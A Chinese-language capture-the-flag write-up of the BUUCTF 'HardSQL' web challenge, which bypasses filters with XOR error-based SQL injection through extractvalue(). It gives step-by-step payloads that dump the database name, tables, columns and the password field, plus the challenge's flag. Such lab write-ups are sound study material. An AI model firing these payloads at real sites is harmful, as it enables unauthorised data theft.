buuctf-web HardSQL 1

这或许就是sql最终章了吧

打开页面。

 还是这种界面,只不过是加强了一下。哈哈哈。

然后我就还是万能密码admin' or '1' ='1 来了一手

 之后的常规注入都是出现了这种页面。有点儿意思喽。

然后我再用联合注入啥的,都不行了,好像是都被过滤掉了。

那我们就得想其他的途径了。百度了一手。学到了web的骚操作。

这里需要使用异或盲注,用’^'来连接函数,形成异或

mysql里异或运算符为^ 或者 xor
两个同为真的条件做异或,结果为假,两个同为假的条件做异或,结果为假,一个条件为真,一个条件为假,结果为真,null与任何条件(真、假、null)做异或,结果都为null

我们还需要用到一个函数:extractvalue()

对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

好,那我们还构造第一个Pyload:

/check.php?username=44&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23

 即可爆出数据库。下一步,我们继续爆表名。

不过这个网站的确是加强了,等号也被过滤掉了。这个时候我们就需要用'like'来代替等号

pyload:

check.php/?username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

 然后爆出字段名

pyload:

check.php/?username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

 继续,爆数据。

check.php/?username=44&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

但是出来的flag却是只有一部分。然后还一个骚操作。就是利用left与right来进行字符拼接。

check.php/?username=44&password=1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
check.php/?username=44&password=1%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

 

 最后拼接成的flag为:flag{dc37dde2-8b7c-4a03-a912-b11b53dd5308}

原文地址:https://www.cnblogs.com/awsole/p/13835791.html